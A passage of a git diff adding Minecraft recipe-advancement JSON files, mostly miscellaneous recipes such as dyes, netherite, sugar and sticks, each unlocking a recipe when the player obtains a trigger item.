+ ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/magenta_dye_from_purple_and_pink.json b/src/data/minecraft/advancements/recipes/misc/magenta_dye_from_purple_and_pink.json new file mode 100644 index 00000000..6fa9c5cd --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/magenta_dye_from_purple_and_pink.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:magenta_dye_from_purple_and_pink" + ] + }, + "criteria": { + "has_pink_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:pink_dye" + } + ] + } + }, + "has_purple_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:purple_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:magenta_dye_from_purple_and_pink" + } + } + }, + "requirements": [ + [ + "has_pink_dye", + "has_purple_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/map.json b/src/data/minecraft/advancements/recipes/misc/map.json new file mode 100644 index 00000000..d216788a --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/map.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:map" + ] + }, + "criteria": { + "has_compass": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:compass" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:map" + } + } + }, + "requirements": [ + [ + "has_compass", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/melon_seeds.json b/src/data/minecraft/advancements/recipes/misc/melon_seeds.json new file mode 100644 index 00000000..7525d241 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/melon_seeds.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:melon_seeds" + ] + }, + "criteria": { + "has_melon": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:melon_slice" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:melon_seeds" + } + } + }, + "requirements": [ + [ + "has_melon", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/mojang_banner_pattern.json b/src/data/minecraft/advancements/recipes/misc/mojang_banner_pattern.json new file mode 100644 index 00000000..22f66d2c --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/mojang_banner_pattern.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:mojang_banner_pattern" + ] + }, + "criteria": { + "has_enchanted_golden_apple": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:enchanted_golden_apple" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:mojang_banner_pattern" + } + } + }, + "requirements": [ + [ + "has_enchanted_golden_apple", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/nether_brick.json b/src/data/minecraft/advancements/recipes/misc/nether_brick.json new file mode 100644 index 00000000..75c5d705 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/nether_brick.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:nether_brick" + ] + }, + "criteria": { + "has_netherrack": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:netherrack" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:nether_brick" + } + } + }, + "requirements": [ + [ + "has_netherrack", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/netherite_ingot.json b/src/data/minecraft/advancements/recipes/misc/netherite_ingot.json new file mode 100644 index 00000000..5e083730 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/netherite_ingot.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:netherite_ingot" + ] + }, + "criteria": { + "has_netherite_scrap": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:netherite_scrap" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:netherite_ingot" + } + } + }, + "requirements": [ + [ + "has_netherite_scrap", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/netherite_ingot_from_netherite_block.json b/src/data/minecraft/advancements/recipes/misc/netherite_ingot_from_netherite_block.json new file mode 100644 index 00000000..d148a61f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/netherite_ingot_from_netherite_block.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:netherite_ingot_from_netherite_block" + ] + }, + "criteria": { + "has_netherite_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:netherite_block" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:netherite_ingot_from_netherite_block" + } + } + }, + "requirements": [ + [ + "has_netherite_block", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/netherite_scrap.json b/src/data/minecraft/advancements/recipes/misc/netherite_scrap.json new file mode 100644 index 00000000..75c7c34e --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/netherite_scrap.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:netherite_scrap" + ] + }, + "criteria": { + "has_ancient_debris": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:ancient_debris" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:netherite_scrap" + } + } + }, + "requirements": [ + [ + "has_ancient_debris", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/netherite_scrap_from_blasting.json b/src/data/minecraft/advancements/recipes/misc/netherite_scrap_from_blasting.json new file mode 100644 index 00000000..2a0288f1 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/netherite_scrap_from_blasting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:netherite_scrap_from_blasting" + ] + }, + "criteria": { + "has_ancient_debris": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:ancient_debris" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:netherite_scrap_from_blasting" + } + } + }, + "requirements": [ + [ + "has_ancient_debris", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/orange_dye_from_orange_tulip.json b/src/data/minecraft/advancements/recipes/misc/orange_dye_from_orange_tulip.json new file mode 100644 index 00000000..617df722 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/orange_dye_from_orange_tulip.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:orange_dye_from_orange_tulip" + ] + }, + "criteria": { + "has_red_flower": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:orange_tulip" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:orange_dye_from_orange_tulip" + } + } + }, + "requirements": [ + [ + "has_red_flower", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/orange_dye_from_red_yellow.json b/src/data/minecraft/advancements/recipes/misc/orange_dye_from_red_yellow.json new file mode 100644 index 00000000..228752ec --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/orange_dye_from_red_yellow.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:orange_dye_from_red_yellow" + ] + }, + "criteria": { + "has_red_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:red_dye" + } + ] + } + }, + "has_yellow_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:yellow_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:orange_dye_from_red_yellow" + } + } + }, + "requirements": [ + [ + "has_red_dye", + "has_yellow_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/paper.json b/src/data/minecraft/advancements/recipes/misc/paper.json new file mode 100644 index 00000000..2278ef62 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/paper.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:paper" + ] + }, + "criteria": { + "has_reeds": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:sugar_cane" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:paper" + } + } + }, + "requirements": [ + [ + "has_reeds", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/pink_dye_from_peony.json b/src/data/minecraft/advancements/recipes/misc/pink_dye_from_peony.json new file mode 100644 index 00000000..ffe15077 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/pink_dye_from_peony.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:pink_dye_from_peony" + ] + }, + "criteria": { + "has_double_plant": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:peony" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:pink_dye_from_peony" + } + } + }, + "requirements": [ + [ + "has_double_plant", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/pink_dye_from_pink_tulip.json b/src/data/minecraft/advancements/recipes/misc/pink_dye_from_pink_tulip.json new file mode 100644 index 00000000..60252d53 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/pink_dye_from_pink_tulip.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:pink_dye_from_pink_tulip" + ] + }, + "criteria": { + "has_red_flower": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:pink_tulip" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:pink_dye_from_pink_tulip" + } + } + }, + "requirements": [ + [ + "has_red_flower", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/pink_dye_from_red_white_dye.json b/src/data/minecraft/advancements/recipes/misc/pink_dye_from_red_white_dye.json new file mode 100644 index 00000000..ace984c7 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/pink_dye_from_red_white_dye.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:pink_dye_from_red_white_dye" + ] + }, + "criteria": { + "has_white_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_dye" + } + ] + } + }, + "has_red_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:red_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:pink_dye_from_red_white_dye" + } + } + }, + "requirements": [ + [ + "has_white_dye", + "has_red_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/popped_chorus_fruit.json b/src/data/minecraft/advancements/recipes/misc/popped_chorus_fruit.json new file mode 100644 index 00000000..7b5be9b3 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/popped_chorus_fruit.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:popped_chorus_fruit" + ] + }, + "criteria": { + "has_chorus_fruit": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:chorus_fruit" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:popped_chorus_fruit" + } + } + }, + "requirements": [ + [ + "has_chorus_fruit", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/pumpkin_seeds.json b/src/data/minecraft/advancements/recipes/misc/pumpkin_seeds.json new file mode 100644 index 00000000..f902f162 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/pumpkin_seeds.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:pumpkin_seeds" + ] + }, + "criteria": { + "has_pumpkin": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:pumpkin" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:pumpkin_seeds" + } + } + }, + "requirements": [ + [ + "has_pumpkin", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/purple_dye.json b/src/data/minecraft/advancements/recipes/misc/purple_dye.json new file mode 100644 index 00000000..0f7fe722 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/purple_dye.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:purple_dye" + ] + }, + "criteria": { + "has_blue_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:blue_dye" + } + ] + } + }, + "has_red_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:red_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:purple_dye" + } + } + }, + "requirements": [ + [ + "has_blue_dye", + "has_red_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/quartz.json b/src/data/minecraft/advancements/recipes/misc/quartz.json new file mode 100644 index 00000000..69be3349 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/quartz.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:quartz" + ] + }, + "criteria": { + "has_nether_quartz_ore": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:nether_quartz_ore" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:quartz" + } + } + }, + "requirements": [ + [ + "has_nether_quartz_ore", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/quartz_from_blasting.json b/src/data/minecraft/advancements/recipes/misc/quartz_from_blasting.json new file mode 100644 index 00000000..4d461007 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/quartz_from_blasting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:quartz_from_blasting" + ] + }, + "criteria": { + "has_nether_quartz_ore": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:nether_quartz_ore" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:quartz_from_blasting" + } + } + }, + "requirements": [ + [ + "has_nether_quartz_ore", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/red_dye_from_beetroot.json b/src/data/minecraft/advancements/recipes/misc/red_dye_from_beetroot.json new file mode 100644 index 00000000..2bbbad52 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/red_dye_from_beetroot.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:red_dye_from_beetroot" + ] + }, + "criteria": { + "has_beetroot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:beetroot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:red_dye_from_beetroot" + } + } + }, + "requirements": [ + [ + "has_beetroot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/red_dye_from_poppy.json b/src/data/minecraft/advancements/recipes/misc/red_dye_from_poppy.json new file mode 100644 index 00000000..c95f3a51 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/red_dye_from_poppy.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:red_dye_from_poppy" + ] + }, + "criteria": { + "has_red_flower": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:poppy" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:red_dye_from_poppy" + } + } + }, + "requirements": [ + [ + "has_red_flower", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/red_dye_from_rose_bush.json b/src/data/minecraft/advancements/recipes/misc/red_dye_from_rose_bush.json new file mode 100644 index 00000000..89efc741 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/red_dye_from_rose_bush.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:red_dye_from_rose_bush" + ] + }, + "criteria": { + "has_double_plant": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:rose_bush" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:red_dye_from_rose_bush" + } + } + }, + "requirements": [ + [ + "has_double_plant", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/red_dye_from_tulip.json b/src/data/minecraft/advancements/recipes/misc/red_dye_from_tulip.json new file mode 100644 index 00000000..0e9ec573 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/red_dye_from_tulip.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:red_dye_from_tulip" + ] + }, + "criteria": { + "has_red_flower": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:red_tulip" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:red_dye_from_tulip" + } + } + }, + "requirements": [ + [ + "has_red_flower", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/skull_banner_pattern.json b/src/data/minecraft/advancements/recipes/misc/skull_banner_pattern.json new file mode 100644 index 00000000..3e953e12 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/skull_banner_pattern.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:skull_banner_pattern" + ] + }, + "criteria": { + "has_wither_skeleton_skull": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:wither_skeleton_skull" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:skull_banner_pattern" + } + } + }, + "requirements": [ + [ + "has_wither_skeleton_skull", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/slime_ball.json b/src/data/minecraft/advancements/recipes/misc/slime_ball.json new file mode 100644 index 00000000..c055be91 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/slime_ball.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:slime_ball" + ] + }, + "criteria": { + "has_slime": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:slime_block" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:slime_ball" + } + } + }, + "requirements": [ + [ + "has_slime", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/stick.json b/src/data/minecraft/advancements/recipes/misc/stick.json new file mode 100644 index 00000000..d2eee761 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/stick.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:stick" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "tag": "minecraft:planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:stick" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/stick_from_bamboo_item.json b/src/data/minecraft/advancements/recipes/misc/stick_from_bamboo_item.json new file mode 100644 index 00000000..e8c96bb0 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/stick_from_bamboo_item.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:stick_from_bamboo_item" + ] + }, + "criteria": { + "has_bamboo": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:bamboo" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:stick_from_bamboo_item" + } + } + }, + "requirements": [ + [ + "has_bamboo", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/sugar_from_honey_bottle.json b/src/data/minecraft/advancements/recipes/misc/sugar_from_honey_bottle.json new file mode 100644 index 00000000..820f7de4 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/sugar_from_honey_bottle.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:sugar_from_honey_bottle" + ] + }, + "criteria": { + "has_honey_bottle": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:honey_bottle" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:sugar_from_honey_bottle" + } + } + }, + "requirements": [ + [ + "has_honey_bottle", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/sugar_from_sugar_cane.json b/src/data/minecraft/advancements/recipes/misc/sugar_from_sugar_cane.json new file mode 100644 index 00000000..0ed7347b --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/sugar_from_sugar_cane.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:sugar_from_sugar_cane" + ] + }, + "criteria": { + "has_reeds": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:sugar_cane" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:sugar_from_sugar_cane" + } + } + }, + "requirements": [ + [ + "has_reeds", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/wheat.json b/src/data/minecraft/advancements/recipes/misc/wheat.json new file mode 100644 index 00000000..5118c8df --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/wheat.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:wheat" + ] + }, + "criteria": { + "has_hay_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:hay_block" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:wheat" + } + } + }, + "requirements": [ + [ + "has_hay_block", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/white_dye.json b/src/data/minecraft/advancements/recipes/misc/white_dye.json new file mode 100644 index 00000000..d0d487c1 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/white_dye.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:white_dye" + ] + }, + "criteria": { + "has_bone_meal": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:bone_meal" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:white_dye" + } + } + }, + "requirements": [ + [ + "has_bone_meal", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/white_dye_from_lily_of_the_valley.json b/src/data/minecraft/advancements/recipes/misc/white_dye_from_lily_of_the_valley.json new file mode 100644 index 00000000..fdecd5f8 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/white_dye_from_lily_of_the_valley.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:white_dye_from_lily_of_the_valley" + ] + }, + "criteria": { + "has_white_flower": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:lily_of_the_valley" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:white_dye_from_lily_of_the_valley" + } + } + }, + "requirements": [ + [ + "has_white_flower", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/writable_book.json b/src/data/minecraft/advancements/recipes/misc/writable_book.json new file mode 100644 index 00000000..11fed4fd --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/writable_book.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:writable_book" + ] + }, + "criteria": { + "has_book": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:book" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:writable_book" + } + } + }, + "requirements": [ + [ + "has_book", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/yellow_dye_from_dandelion.json b/src/data/minecraft/advancements/recipes/misc/yellow_dye_from_dandelion.json new file mode 100644 index 00000000..c4f3c30e --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/yellow_dye_from_dandelion.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:yellow_dye_from_dandelion" + ] + }, + "criteria": { + "has_yellow_flower": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:dandelion" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:yellow_dye_from_dandelion" + } + } + }, + "requirements": [ + [ + "has_yellow_flower", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/yellow_dye_from_sunflower.json b/src/data/minecraft/advancements/recipes/misc/yellow_dye_from_sunflower.json new file mode 100644 index 00000000..30222f60 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/yellow_dye_from_sunflower.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:yellow_dye_from_sunflower" + ] + }, + "criteria": { + "has_double_plant": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:sunflower" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:yellow_dye_from_sunflower" + } + } + }, + "requirements": [ + [ + "has_double_plant", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/acacia_button.json b/src/data/minecraft/advancements/recipes/redstone/acacia_button.json new file mode 100644 index 00000000..37e78a68 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/acacia_button.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:acacia_button" + ] + }, + "criteria": { + 